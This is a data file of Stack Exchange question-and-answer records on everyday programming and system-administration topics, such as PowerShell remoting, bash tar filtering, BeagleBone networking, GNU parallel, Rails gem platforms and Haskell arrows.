{  "id": "_webapps.105330"  , "question": "Where can I see or export a list of Google Places with IDs?From Google My Business, I only get a text export, with no Google ID."  , "title": "Enumerate Google Place IDs"  , "tags": "google my business"  } 
{  "id": "_webmaster.71564"  , "question": "I have a website with a good amount of traffic but I must shut down this website.I have another website that is not very well ranked on Google.Is there something I could do to help my second website with SEO such as a redirect or DNS change?"  , "title": "Website with traffic must shut down, should I redirect?"  , "tags": "seo;domains;dns"  } 
{  "id": "_codereview.152658"  , "question": "Goal:I am attempting to create a script that would automatically establish a PSSession to a Windows server for implicit remoting.Problem:Export-PSSession : Proxy creation has been skipped for the '%' command, because Windows PowerShell could not verify the safety of the command name.At Z:Somewhere\\aScript.ps1:12 char:3+   Export-PSSession -Session $ServerPS -OutputModule 'First Module' - ...+   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : InvalidData: (:) [Export-PSSession], InvalidOperationException    + FullyQualifiedErrorId : ErrorSkippedUnsafeCommandName,Microsoft.PowerShell.Commands.ExportPSSessionCommandSide notes:A large number of users will use this script to establish PSSessions daily, I am trying to find the most efficient way to get all the users to access these modules - Amodule, Bmodule and Cmodule. Additionally, the script still works despite the above mentioned error.Here is a sample of my script:$Server = New-PSSession -ComputerName ServerPS -Authentication KerberosSet-Alias -Name go -Value Get-CustomMods -Description 'Gets the modules'function Get-CustomMods{  # Import first module  Write-Verbose -Message 'Importing First module'  Invoke-command { import-module 'Amodule.ps1' } -session $ServerPS  Export-PSSession -Session $Server -OutputModule 'Amodule' -Force -AllowClobber  # Import second module  Write-Verbose -Message 'Importing Second Module'  Invoke-command { import-module 'Bmodule.ps1'} -session $ServerPS  Export-PSSession -Session $Server -OutputModule 'Bmodule' -Force -AllowClobber  # Import third module   Write-Verbose -Message 'Importing Third Module'  Invoke-command { import-module 'Cmodule.ps1' } -session $ServerPS  Export-PSSession -Session $Server -OutputModule 'Cmodule' -Force -AllowClobber}Question:Is there a more effective way to structure/write this script given my goal and problem? "  , "title": "Creating a script to automate implicit remoting"  , "tags": "powershell"  , "accepted_answer": "I wish I had more to offer but I wanted to add some pointers about the code I do see. Code RepetitionIf you find yourself repeating the same code over and over again you should be asking if there is another way. Another functionYou could easily wrap the block  # Import first module  Write-Verbose -Message 'Importing First module'  Invoke-command { import-module 'Amodule.ps1' } -session $ServerPS  Export-PSSession -Session $Server -OutputModule 'Amodule' -Force -AllowClobberinto its own function. That way if you need to make some changes they will be more centralized. function Export-SessionModule{    param(        $session,        $moduleName    )    # Import named module    Write-Verbose -Message Importing $moduleName module    Invoke-command { import-module $moduleName.ps1 } -session $session    Export-PSSession -Session $session -OutputModule $moduleName -Force -AllowClobber}SplattingNote that this is meant to be a simple example. Things like parameter typing might be advisable but were omitted for brevity. If functions are overkill for this little script of yours something else to consider would be splatting your parameters that are the same across cmdlet calls. $exportPSSessionParams = @{    Session = $session    Force = $true    AllowClobber = $true}# .....Export-PSSession -OutputModule 'Amodule' @exportPSSessionParams# .....Export-PSSession -OutputModule 'Bmodule' @exportPSSessionParams# .....Export-PSSession -OutputModule 'Cmodule' @exportPSSessionParamsVariable NamesYou follow the verb-noun convention for your functions which is good. Your session variable name is a little misleading. You call it $server. I usually see that representing a string with a server name. Since it is a session object it would be clearer if it was named as such. $session at a minimum or even $serverSession if you prefer. This could clash with your $sessionPS which is more reason to make them clear. Function DeclarationYou are supposed to declare your functions before you use them. That being said, you would typically find functions at the beginning of scripts. While the order you have things declared will not be a problem (since it is working) I wanted to be sure that was understood. If you were to call go after your created the alias it would fail. Your ProblemLike I said I don't have much to offer here. I would like to point out that I think you scrubbed your code incorrectly since the code in your error does not match your code block. Have you checked on SO for that message already? There are a few different causes although I didn't find an exact match. Admittingly I do not work with modules much. I would debug this by seeing if it is the same module and if perhaps how it is being called is causing some problems. Perhaps being run more than once in a session? (AllowClobber should have fixed that though)"  } 
{  "id": "_webmaster.39426"  , "question": "What can be done through XFrames, as compared to iframe in html?Is there any new feature other than making it easier to bookmark in XFrame as compared to IFrame?"  , "title": "What can be done through XFrames, as compared to IFrame in html?"  , "tags": "html;iframe;learning"  , "accepted_answer": "Xframe has never been implemented in any version of XHTML. It was proposed in a separate working draft by the XHTML2 working group while working on XHTML 2.0. The XHTML 2.0 working group itself was closed in 2010. The next version of XHTML is XHTML5, and is part of the spec being developed by the HTML5 working group. Xframes is not part of this spec.HTML5 and XHTML5 support iframe as a standard element only. The original frame and frameset elements are supported only as obsolete elements, which will trigger warnings in conformance checkers. No part of the xframes spec is mentioned."  } 
{  "id": "_softwareengineering.305464"  , "question": "I am working on a design, but keep hitting a roadblock. I have a particular class (ModelDef) that is essentially the owner of a complex node tree built by parsing an XML schema (think DOM). I want to follow good design principles (SOLID), and ensure that the resulting system is easily testable. I have every intention of using DI to pass dependencies into the constructor of ModelDef  (so that these can easily be swapped out, if need be, during testing).What I'm struggling with, though, is the creation of the node tree. This tree is going to be made up entirely of simple value objects which will not need to be independently tested. (However, I may still pass an Abstract Factory into ModelDef to assist with the creation of these objects.) But I keep reading that a constructor should not do any real work (e.g. Flaw: Constructor does Real Work). This makes perfect sense to me if real work means constructing heavy-weigh dependent objects that one might later want to stub out for testing. (Those should be passed in via DI.) But what about light-weight value objects such as this node tree? The tree has to be created somewhere, right? Why not via the constructor of ModelDef (using, say, a buildNodeTree() method)?I don't really want to create the node tree outside of ModelDef and then pass it in (via constructor DI), because creating the node tree by parsing the schema requires a significant amount of complex code -- code that needs to be thoroughly tested. I don't want to relegate it to glue code (which should be relatively trivial, and will likely not be directly tested).I have thought of putting the code to create the node tree in a separate builder object, but hesitate to call it a builder, because it doesn't really match the Builder Pattern (which seem to be more concerned with eliminating telescoping constructors). But even if I called it something different (e.g. NodeTreeConstructor), it still feels like a bit of a hack just to avoid having the ModelDef constructor build the node tree. It has to be built somewhere; why not in the object that's going to own it?"  , "title": "Legitimate real work in a constructor?"  , "tags": "java;design;design patterns;dependency injection;constructors"  , "accepted_answer": "And, besides what Ross Patterson suggested, consider this position which is the exact opposite:Take maxims such as Thou Shalt Not Do Any Real Work In Thy Constructors with a grain of salt.A constructor is, really, nothing but a static method.  So, structurally, there is really not much difference between:a) a simple constructor and a bunch of complex static factory methods, and b) a simple constructor and a bunch of more complex constructors.A considerable part of the negative sentiment towards doing any real work in constructors comes from a certain period of the history of C++ when there was debate as to precisely what state the object will be left in if an exception is thrown within the constructor, and whether the destructor should be invoked in such an event.  That part of the history of C++ is over, and the issue has been settled, while in languages like Java there never was any issue of this kind to begin with.My opinion is that if you simply avoid using new in the constructor, (as your intention to employ Dependency Injection indicates,) you should be fine.  I laugh at statements like conditional or looping logic in a constructor is a warning sign of a flaw.Besides all that, personally, I would take the XML parsing logic out of the constructor, not because it is evil to have complex logic in a constructor, but because it is good to follow the separation of concerns principle.  So, I would move the XML parsing logic into some separate class altogether, not into some static methods that belong to your ModelDef class.AmendmentI suppose that if you have a method outside of ModelDef which creates a ModelDef from XML, you will need to instantiate some dynamic temporary tree data structure, populate it by parsing your XML, and then create your new ModelDef passing that structure as a constructor parameter.  So, that could perhaps be thought of as an application of the Builder pattern. There is a very close analogy between what you want to do and the String & StringBuilder pair. However, I have found this Q&A which seems to disagree, for reasons which are not clear to me: Stackoverflow - StringBuilder and Builder Pattern.  So, to avoid a lengthy debate over here as to whether the StringBuilder does or does not implement the builder pattern, I would say feel free to be inspired by how StrungBuilder works in coming up with a solution that suits your needs, and postpone calling it an application of the Builder pattern until that little detail has been settled.See this brand new question: Programmers SE: Is StringBuilder an application of the Builder Design Pattern?"  } 
{  "id": "_unix.266238"  , "question": "In Linux I have files which filename is starting with date YYYYMMDD20160201_001.pdf20160110_002.pdf20150201_003.pdf20140201_004.pdfI want to tar those files less than the following date range (not using mtime, but filename period) date +'%Y%m' -d '4 months ago'  (201511)Basically i want to dofiles=($(find . -name filename< date +'%Y%m' -d '4 months ago'))tar cvfz backup.tar.gz ${files[@]}The expected result of files being tar-ed: 20150201_003.pdf20140201_004.pdfHow can I do that?"  , "title": "Linux tar files less than 3 months ago using date in filename"  , "tags": "bash"  , "accepted_answer": "With that date format, you could use string ordering in awk, such as:files=( $(ls | awk -v d=$(date -d '4 months ago' +%Y%m%d_999.pdf) '$1<d {print;}') )tar cvfz backup.tar.gz ${files[@]}The awk program reads input lines, and applies its rules to them. In this case it firstly gets invoked with variable d set as the clipping date expanded into a file name. Then, for each line it compares the first word ($1) with the clipping date (d) with respect to alphabetical order, and where the input is before the clip, it prints the line (otherwise not).To clip month-wise, change %d to be 00 to exclude the month of four months ago, or 99 to include the month of four moths ago."  } 
{  "id": "_unix.383445"  , "question": "I've installed Ubuntu server 16.04 (64bit) on a Dell fx160 thin client (has an atom 230 processor). This device has two sticks of ram in it, 2 GB each. When I execute lshw I see that it correctly recognises that the two sticks have 2 GB each. When I run free however, only 3 GB (3079672 kB) of memory is reported as being available.Removing either of these sticks causes free to report exactly 2 GB, but when inserted together only 3 GB remains.I searched around a lot, but unfortunately I remain clueless as to what can cause this and how I can solve this.Has anyone had a similar problem in the past?"  , "title": "not all RAM recognised (on 64bit CPU)"  , "tags": "ubuntu;memory;ram;64bit"  } 
{  "id": "_webmaster.65270"  , "question": "I have an issue with Google not being able to properly crawl my site. I have read other questions where people have had the same issue.  I've tried to follow their solution of using this in my robots.txt file:User-agent: *Disallow:Sitemap: http://www.sonjalimone.com/sitemap_index.xmlI have waited over 24 hours for Google to recrawl my site so I must have something wrong in the robots.txt file. It is a WordPress site if that makes any difference, though I don't see why it would.Does anyone know what else might cause this issue or is there something wrong with the above?"  , "title": "Google is not crawling and indexing my site after updating my robots.txt file"  , "tags": "google;google search console;robots.txt"  , "accepted_answer": "Google will fetch the robots.txt file itself from your site every 24 hours.   If you make changes to your robots.txt file, you must wait a day to ensure that Googlebot picks up your changes.After it has the correct robots.txt file, Googlebot will start crawling and indexing your entire site properly.   As a general rule, I expect to see changes to the documents that Google indexes in about two weeks.  If you have a large site, the deeper pages may take as much as a month or two to get recrawled.Use the fetch as Google feature from Crawl -> Fetch as Google  in Google Webmaster Tools to ensure that Googlebot is able to download the pages that you expect.   You can also use the Blocked URLs tool under Crawl -> Blocked URLs in Google Webmaster Tools to ensure that Google is seeing the correct version of your robots.txt file and that it can crawl any URL that you specify in that tool."  } 
{  "id": "_unix.81309"  , "question": "I'm having a strange case of deadlock, where the two processes launched by cron are defunct, but cron does not pick the return code and exit. I don't have access to the root user.myuser@myserver:~) ps -ef | grep 30163                                  11:29AM3701     28964 29950  0 11:30 pts/13   00:00:00 grep 30163root     30163  6622  0 11:00 ?        00:00:00 /usr/sbin/cron3701     30199 30163  0 11:00 ?        00:00:00 [monitor_daemon] <defunct>3701     30598 30163  0 11:00 ?        00:00:00 [sendmail] <defunct>myuser@myserver:~)Is there a known reason why we would end up in such a situation?How, without having access to the root user, can I get rid of those three processes that consume memory?I'm using the following kernel/distribution:Linux myserver 2.6.32.23-0.3-default #1 SMP 2010-10-07 14:57:45 +0200 x86_64 x86_64 x86_64 GNU/LinuxLSB_VERSION=core-2.0-noarch:core-3.2-noarch:core-4.0-noarch:core-2.0-x86_64:core-3.2-x86_64:core-4.0-x86_64SUSE Linux Enterprise Server 11 (x86_64)VERSION = 11PATCHLEVEL = 1"  , "title": "Deadlock in a crontab between cron and its child defunct processes"  , "tags": "process;cron;suse"  , "accepted_answer": "The Last SLES11 SP1 kernel when EoL came (2012-11-08) was 2.6.32.59-0.7.Kernel 2.6.32.23-0.3.1 is from 2010-10-08.So you are most propably hitting an unfixed OS bug.Wake up your root-admin and tell him to get his system in shape.Current supported SLES11 is SP2. Kernel: 3.0.80...To your second part of the question: You can only get rid of these processes as owner of these (root)."  } 
{  "id": "_softwareengineering.210339"  , "question": "Is there any design patterns (or best practices) for implementing a geographically distributed system (mostly a database)?Description: There is a network of warehouses and a central office. Now I want every warehouse replicates it's data to the central office and the central office replicates just that portion of data related to that warehouse (when it's modified). This I can call a filtered replication. Our database here is SQL Server 2008 R2. Should I go with another database? How about NoSQL databases?This is a .NET based solution.So far I have learnt about Web Synchronization for Merge Replication and I am investigating it; but I did not learnt how to implement filtered replication yet. I am not sure how NoSQL fits for an e-commerce problem (I think I need to use a combination of NoSQL+RDBMS if I should go that way) but I am investigating RavenDB and MongoDB.Any insight would help a lot; Thanks;"  , "title": "Geographically Distributed (Data & App) Architecture"  , "tags": "design patterns;architecture;database;distribution;data replication"  } 
{  "id": "_ai.3548"  , "question": "I'm currently pursuing Computer science engineering.So I would like to know where to start and what mathematics is needed to jump in."  , "title": "Getting started with Artificial intelligence"  , "tags": "ai community"  } 
{  "id": "_codereview.117322"  , "question": "Like other posters, I'm currently working on recreating Google's Homepage for The Odin Project.I'm new to HTML and CSS but I'm eager to learn and have been looking around for an answer, testing different code, and pacing back & forth - I'm still stuck.I'm having an issue with positioning things on my project. I've read through W3School's documentation on CSS but the method in which I used to position my buttons Google Search & I'm feeling lucky seems like a in-this-case-solution that may not work with all browsers or especially responsive design.This is the area I'm trying to duplicate:I was able to center the logo and the search bar with:{margin-left: auto;margin-right: auto;display: block;}I was able to center the buttons with:#googleSearch {display: inline-block; margin-left: 520px;margin-right: auto;}#feelingLucky {display: inline-block;}All of my code is below but my questions is: is there a better way to position the buttons and if so, what? Playing with the margin-left until it looks right seems to me like the equivalent of using a bunch of line breaks instead of changing the margin or padding. li {font-family: arial,sans-serif;font-size: 13px; list-style: none; display: inline-block;}nav {text-align: right; padding-right: 160px; word-spacing: 10px;}#userName {opacity: .55;}a, a:visited {color: black; text-decoration: none;}a:hover {text-decoration: underline;}img, #searchBox {display: block;margin-left: auto;margin-right: auto;}img {margin-top: 200px}#googleSearch {display: inline-block; margin-left: 520px;margin-right: auto;}#feelingLucky {display: inline-block;}<!DOCTYPE HTML><html lang=en><head><link rel=stylesheet href=index.css><meta charset=UTF-8><title>Google</title><link rel=shortcut icon type=image/x-icon href=http://www.google.com/favicon.ico>    </head><body><header><nav>    <ul>    <li><span id=userName>Jarod</span></li>        <li><a href=https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2FManageAccount&followup=https%3A%2F%2Faccounts.google.com%2FManageAccount>Gmail</a></li>        <li><a href=https://www.google.com/imghp?hl=en&tab=wi&ei=yeCeVp3uLcyMmQH3mJ8w&ved=0EKouCBYoAQ>Images</a></li>    </ul>       </nav>    </header><img src=https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png alt=Logo>     <form action=# method=get name=searchForm>    <input id=searchBox type=text name=searchBox><br>        <div id=googleSearch>    <input id=two type=submit value=Google Search>            <input id=feelingLucky type=submit value=I'm Feeling Lucky>    </form>    </body><footer></footer></html>Is there a better way to position my buttons?"  , "title": "Recreating Google homepage for learning purposes"  , "tags": "beginner;html;css"  } 
{  "id": "_softwareengineering.114681"  , "question": "I am learning functionnal programming with Haskell, and I try to grab concepts by first understanding why do I need them.I would like to know the goal of arrows in functional programming languages. What problem do they solve? I checked http://en.wikibooks.org/wiki/Haskell/Understanding_arrows and http://www.cse.chalmers.se/~rjmh/afp-arrows.pdf. All I understand is that they are used to describe graphs for computations, and that they allow easier point free style coding.The article assume that point free style is generally easier to understand and to write. This seems quite subjective to me. In another article (http://en.wikibooks.org/wiki/Haskell/StephensArrowTutorial#Hangman:_Main_program), a hangman game is implemented, but I cannot see how arrows makes this implementation natural.I could find a lot of papers describing the concept, but nothing about the motivation.What I am missing?"  , "title": "what is the purpose of arrows?"  , "tags": "functional programming;haskell"  , "accepted_answer": "I realize I'm coming late to the party, but you've had two theoretical answers here, and I wanted to provide a practical alternative to chew over. I'm coming at this as a relative Haskell noob who nonetheless has been recently force-marched through the subject of Arrows for a project I'm currently working on. First, you can productively solve most problems in Haskell without reaching for Arrows. Some notable Haskellers genuinely do not like and do not use them (see here, here, and here for more on this). So if you're saying to yourself Hey, I don't need these, understand that you may genuinely be correct.What I found most frustrating about Arrows when I first learned them was how the tutorials on the subject inevitably reached for the analogy of circuitry. If you look at Arrow code -- the sugared variety, at least -- it resembles nothing so much as a Hardware Defnition Language. Your inputs line up on the right, your outputs on the left, and if you fail to wire them all up properly they simply fail to fire. I thought to myself: Really? Is this where we've ended up? Have we created a language so completely high-level that it once again consists of copper wires and solder?The correct answer to this, as far as I've been able to determine, is: Actually, yes. The killer use case right now for Arrows is FRP (think Yampa, games, music, and reactive systems in general). The problem facing FRP is largely the same problem facing all other synchronous messaging systems: how to wire a continuous stream of inputs into a continuous stream of outputs without dropping relevant information or springing leaks. You can model the streams as lists -- several recent FRP systems use this approach -- but when you have a lot of inputs lists become almost impossible to manage. You need to insulate yourself from the current. What Arrows allow in FRP systems is the composition of functions into a network while at the same time entirely abstracting away any reference at all to the underlying values being passed by those functions. If you're new to FP, this can be confusing at first, and then mind-blowing when you've absorbed the implications of it. You've only recently absorbed the idea that functions can be abstracted, and how to understand a list like [(*), (+), (-)] as being of type [(a -> a -> a)]. With Arrows, you can push the abstraction one layer further. This additional ability to abstract carries with it its own dangers. For one thing, it can push GHC into corner cases where it doesn't know what to make of your type assumptions. You'll have to be prepared to think at the type level -- this is an excellent opportunity to learn about kinds and RankNTypes and other such topics. There are also a number of examples of what I'd call Stupid Arrow Stunts where the coder reaches for some Arrow combinator just because he or she wants to show off a neat trick with tuples. (Here's my own trivial contribution to the madness.) Feel free to ignore such hot-dogging when you come across it in the wild. NOTE: As I mentioned above, I'm a relative noob. If I've promulgated any misconceptions above, please feel free to correct me. "  } 
{  "id": "_datascience.15791"  , "question": "Can somebody explain me in a simple language how multiple instance ranking algorithm works? What is ranking function? how mathematically it is expressed?"  , "title": "Multiple Instance Ranking Algorithm"  , "tags": "image classification"  } 
{  "id": "_unix.260645"  , "question": "I am connected to a machine via SSH and I often need to listen to WAV files on that machine. Iusually open another terminal window and do ssh host 'cat /path/to/sound.wav' | aplay, but that's tedious since I have to enter my password every time (I cannot use public-key authentication) and the file paths are long.What I would like to do is start magic-command on my local computer, and then whenever I need to listen to a remote file, run play-locally sound.wav from the remote shell and hear the sound from my speakers. Is this possible?"  , "title": "Playing remote audio files over SSH"  , "tags": "ssh;audio;remote;streaming;wav"  } 
{  "id": "_codereview.12632"  , "question": "I have been using a slightly modified Hamming Distance algorithm for approximate String Matching for patterns and wondering if there is something better out there. The t being the length of the text and p being the length of the pattern the worst case is roughly O(t*p). Which from looking at other Fuzzy String matching seems to be in norm.       final int mismatches = 1;    final String text = bubbles;    final String pattern = bu;        for(int iter = 0; iter < text.length() - pattern.length() + 1; iter++)    {        int missed = 0;        int ator = 0;        do        {            if(text.charAt(iter + ator) != pattern.charAt(ator))            {                missed++;            }        }while(++ator < pattern.length() && missed <= mismatches);        if(missed <= mismatches)        {            System.out.println(Index:  + iter +  Pattern:  + text.substring(iter, iter + pattern.length()));        }    }The output being indexes 0 bu, 2 bb, and 3 bl. The last two being mismatches with the tolerance of 1."  , "title": "Pattern Matching with Mismatch"  , "tags": "java;strings"  } 
{  "id": "_unix.137827"  , "question": "I'm using multiple BBB's (Rev C), communicating with them from my Mac (OSX 10.9.3) over USB using the HoRNDIS drivers. The BBB's are running Debian, and so I want to manually assign them all different static IP's. However, I can't get the IP to be anything but 192.168.7.2. Changing the /etc/network/interfaces file to have an ip of 192.168.7.10 does nothing:# This file describes the network interfaces available on your system# and how to activate them. For more information, see interfaces(5).# The loopback network interfaceauto loiface lo inet loopback# The primary network interface#auto eth0#iface eth0 inet dhcp# Example to keep MAC address between reboots#hwaddress ether DE:AD:BE:EF:CA:FEauto eth0iface eth0 inet staticaddress 192.168.2.2netmask 255.255.255.0network 192.168.2.0broadcast 192.168.2.255gateway 192.168.2.1# WiFi Example#auto wlan0#iface wlan0 inet dhcp#    wpa-ssid essid#    wpa-psk  password# Ethernet/RNDIS gadget (g_ether)# ... or on host side, usbnet and random hwaddr# Note on some boards, usb0 is automaticly setup with an init script# in that case, to completely disable remove file [run_boot-scripts] from the boot partitioniface usb0 inet static    address 192.168.7.10    netmask 255.255.255.0    network 192.168.7.0    gateway 192.168.7.1Indeed, there was a file in the boot partition that I also changed, with no result:#!/bin/bash# Update /etc/network/interfaces to add virtual Ethernet portcat >>/etc/network/interfaces <<EOFiface usb0 inet static  address 192.168.7.10  netmask 255.255.255.0  network 192.168.7.0  gateway 192.168.7.1EOF# Add terminal to virtual serial portcat >/etc/init/gadget-serial.conf <<EOFstart on stopped rc RUNLEVEL=[2345]stop on runlevel [!2345]respawnexec /sbin/getty 115200 ttyGS0EOF# Write script to start gadget drivercat >/usr/sbin/g-multi-load.sh <<'EOF'#!/bin/bashif [ `lsmod | grep g_multi` !=  ]; then exit 0; fimac_addr=/proc/device-tree/ocp/ethernet@4a100000/slave@4a100300/mac-addresseeprom=/sys/bus/i2c/devices/0-0050/eepromDEV_ADDR=$(perl -e 'print join(:,unpack((H2)*,<>))' ${mac_addr})VERSION=$(perl -e '@x=unpack(A12A4,<>); print $x[1]' ${eeprom})SERIAL_NUMBER=$(perl -e '@x=unpack(A16A12,<>); print $x[1]' ${eeprom})ISBLACK=$(perl -e '@x=unpack(A20A4,<>); print $x[1]' ${eeprom})BLACK=if [ ${ISBLACK} = BBBK ] ; then    BLACK=Blackfiif [ ${ISBLACK} = BNLT ] ; then    BLACK=Blackfimodprobe g_multi file=/dev/mmcblk0p1 cdrom=0 stall=0 removable=1 nofua=1 iSerialNumber=${SERIAL_NUMBER} iManufacturer=Circuitco iProduct=BeagleBone${BLACK} host_addr=${DEV_ADDR}# Enable the network interfacesleep 1ifup usb0EOFchmod +x /usr/sbin/g-multi-load.sh# Add script to rc.localperl -i -pe 's!^exit 0!/usr/sbin/g-multi-load.sh\\nexit 0!' /etc/rc.local# Install DHCP serversudo apt-get -y updatesudo apt-get -y install isc-dhcp-server# Configure DHCP servercat >/etc/ltsp/dhcp.conf <<EOFddns-update-style none;subnet 192.168.7.0 netmask 255.255.255.252 {  range 192.168.7.1 192.168.7.1;}EOFperl -i -pe 's/INTERFACES=.*/INTERFACES=usb0/' /etc/default/isc-dhcp-server# Start up services/usr/sbin/g-multi-load.shservice isc-dhcp-server start"  , "title": "Static IP on BBB won't change with network/interfaces file"  , "tags": "debian;arm"  , "accepted_answer": "There is a 3rd file you need to change for BeagleBone Black:/opt/scripts/boot/am335x_evm.shI found it here:http://ewong.me/changing-usb0-ip-address-on-the-beaglebone-black"  } 
{  "id": "_codereview.52594"  , "question": "My subclass extends the Formatter class,I wonder know is there any elegant way, to rewrite my codeParentclass Formatter(object):    def resp_in_hash(self, resp):        ...        return rtn_hashChildfrom formatter import Formatter# -----------------------------------------------------------------class Request(Formatter):    def req(self, url_path, is_no_cache=True):        ...    def resp_in_hash(self, url_path):        resp, content = self.req(url_path)        return super(Request, self).resp_in_hash(content)"  , "title": "more elegant way when call parent method with the same name"  , "tags": "python"  } 
{  "id": "_unix.327285"  , "question": "Similar to this thread, I have a remote machine with 8 cores that I want to use for running scripts in parallel (1 script per core at a time).However, I don't have multiple bash scripts but a single Python3 script that I want to run with different inputs. I tried parallel python3 -c main.py input*, parallel -j 100% python3 -c main.py ::: input*, and parallel python3 main.py input* but nothing worked.The exact error message is:parallel: Error: -g has been retired. Use --group.parallel: Error: -B has been retired. Use --bf.parallel: Error: -T has been retired. Use --tty.parallel: Error: -U has been retired. Use --er.parallel: Error: -W has been retired. Use --wd.parallel: Error: -Y has been retired. Use --shebang.parallel: Error: -H has been retired. Use --halt.parallel: Error: --tollef has been retired. Use -u -q --arg-sep -- and --load for -l.I don't understand how this is related to my input. I didn't use any of these options.I'm fairly new and inexperienced with Unix and couldn't get it to work myself or with googling. Any help is appreciated. Do I have to write a shell-script to help me with that?"  , "title": "Parallel Python scripts on a remote machine"  , "tags": "shell script;python;remote;parallelism"  , "accepted_answer": "The problem was actually with how parallel was installed on the remote machine (running the newest Ubuntu). I came across a thread solving my problem:Run sudo rm /etc/parallel/config after installation on Ubuntu to get rid of the config which caused my error messages.The command I use to run my python script with different inputs in parallel is: parallel -j 100% python3 main.py ::: inputs*Nevertheless, thanks to everyone who was helping!"  } 
{  "id": "_webapps.92113"  , "question": "Does deleting my uploads delete them from soundcloud.com or will they still be live because people reposted them?"  , "title": "If I delete my own uploads are they deleted from Soundcloud if they've been reposted?"  , "tags": "soundcloud"  } 
{  "id": "_datascience.9818"  , "question": "Neural networks get top results in Computer Vision tasks (see MNIST, ILSVRC, Kaggle Galaxy Challenge).  They seem to outperform every other approach in Computer Vision. But there are also other tasks:Kaggle Molecular Activity ChallengeRegression: Kaggle Rain prediction, also the 2nd placeGrasp and Lift 2nd also third place - Identify hand motions from EEG recordingsI'm not too sure about ASR (automatic speech recognition) and machine translation, but I think I've also heard that (recurrent) neural networks (start to) outperform other approaches.I am currently learning about Bayesian Networks and I wonder in which cases those models are usually applied. So my question is:Is there any challenge / (Kaggle) competition, where the state of the art are Bayesian Networks or at least very similar models?(Side note: I've also seen decision trees, 2, 3, 4, 5, 6, 7 win in several recent Kaggle challenges)"  , "title": "Is there any domain where Bayesian Networks outperform neural networks?"  , "tags": "machine learning;pgm"  , "accepted_answer": "One of the areas where Bayesian approaches are often used, is where one needs interpretability of the prediction system. You don't want to give doctors a Neural net and say that it's 95% accurate. You rather want to explain the assumptions your method makes, as well as the decision process the method uses. Similar area is when you have a strong prior domain knowledge and want to use it in the system. "  } 
{  "id": "_softwareengineering.72206"  , "question": "does Java have graphs as an intergrated data structure? How about Python? I was assigned to write a program, that solves the TSP (travelling salesman problem) via the GRASP (greedy randomized adaptive search procedure). I'm just familiarizing myself with GRASP, and I would like to have a good working data structure for graphs, that includes plotting the graph and the option to assign special colour to edges (so I can colour the final solution: cheapest hamiltonian path). I'm gonna have a presentation, explaining my final solution, whence the need for plotting the graph. Also, it would be desirable to have the option to generate a random graph on n vertices, so I have some easily accessible examples.I was really hoping this has been done by someone before, so I don't start from scratch. I'm a mathematician (or atleast trying to be), so please, no fancy programmer slang.thank you"  , "title": "graph data structure in Java (or Python)"  , "tags": "java;python;data structures"  , "accepted_answer": "For python.http://networkx.lanl.gov/http://cneurocvs.rmki.kfki.hu/igraph/also check out graphviz.org. you generate a text file, feed it to graphviz, and it makes a graph as png, pdf, etc."  } 
{  "id": "_webapps.8786"  , "question": "I notice that when I use Google Voice on my iPhone (through the web interface) and I tap a number to call a contact, it asks if I want to place the call or not. However, instead of placing a call to my contact's phone number, it places it to some random number in a completely different area code. My guess is that this is one of Google's phone numbers that aren't currently in use and it knows how to handle the call I place to that number.My questions are as follows:If I call this number without using the Google Voice interface, will it always call the same contact? Will it ever change? (If so, I'm thinking I'll add a Google Voice number to each of my contacts and call this through the Phone app instead of having to launch the browser each time I want to place a call.)Is there an easy way to find out what this custom number is for each contact, or is the only way to place a call to them?Can the same trick be used for sending text messages to their phone number through Google Voice?"  , "title": "Custom calling numbers for Google Voice"  , "tags": "google voice"  } 
{  "id": "_unix.306614"  , "question": "Bluehost Shared Server ruby -v 2.2.2rails -v 5.0.0.1gem -v 2.4.5~/.bashrcexport HPATH=$HOMEexport GEM_HOME=$HPATH/ruby/gemsexport GEM_PATH=$GEM_HOME:/lib64/ruby/gems/1.9.3export GEM_CACHE=$GEM_HOME/cacheexport PATH=$HPATH/ruby/bin:$PATHexport PATH=$HPATH/ruby/gems/bin:$PATHexport PATH=$HPATH/ruby/gems:$PATHClean Install, but when creating new app it throws an invalid platform error.        create  vendor/assets/javascripts/.keep      create  vendor/assets/stylesheets      create  vendor/assets/stylesheets/.keep      remove  config/initializers/cors.rb         run  bundle install`x64_mingw` is not a valid platform. The available options are: [:ruby, :ruby_18, :ruby_19, :ruby_20, :mri, :mri_18, :mri_19,:mri_20, :rbx, :jruby, :mswin, :mingw, :mingw_18, :mingw_19, :mingw_20]         run  bundle exec spring binstub --all`x64_mingw` is not a valid platform. The available options are: [:ruby, :ruby_18, :ruby_19, :ruby_20, :mri, :mri_18, :mri_19,:mri_20, :rbx, :jruby, :mswin, :mingw, :mingw_18, :mingw_19, :mingw_20]Gemfile# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'gem 'rails', '~> 5.0.0', '>= 5.0.0.1'# Use sqlite3 as the database for Active Recordgem 'sqlite3'# Use Puma as the app servergem 'puma', '~> 3.0'# Use SCSS for stylesheetsgem 'sass-rails', '~> 5.0'# Use Uglifier as compressor for JavaScript assetsgem 'uglifier', '>= 1.3.0'# Use CoffeeScript for .coffee assets and viewsgem 'coffee-rails', '~> 4.2'# See https://github.com/rails/execjs#readme for more supported runtimes# gem 'therubyracer', platforms: :ruby# Use jquery as the JavaScript librarygem 'jquery-rails'# Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinksgem 'turbolinks', '~> 5'# Build JSON APIs with ease. Read more: https://github.com/rails/jbuildergem 'jbuilder', '~> 2.5'# Use Redis adapter to run Action Cable in production# gem 'redis', '~> 3.0'# Use ActiveModel has_secure_password# gem 'bcrypt', '~> 3.1.7'# Use Capistrano for deployment# gem 'capistrano-rails', group: :developmentgroup :development, :test do  # Call 'byebug' anywhere in the code to stop execution and get a debugger console  gem 'byebug', platform: :mriendgroup :development do  # Access an IRB console on exception pages or by using <%= console %> anywhere in the code.  gem 'web-console'  gem 'listen', '~> 3.0.5'  # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring  gem 'spring'  gem 'spring-watcher-listen', '~> 2.0.0'end# Windows does not include zoneinfo files, so bundle the tzinfo-data gemgem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]Would that mean only comment out gem tzinfo-data, or are other changes required as well?"  , "title": "x64_mingw not a valid platform - Rails 5"  , "tags": "ruby;xming;gem;rails"  } 
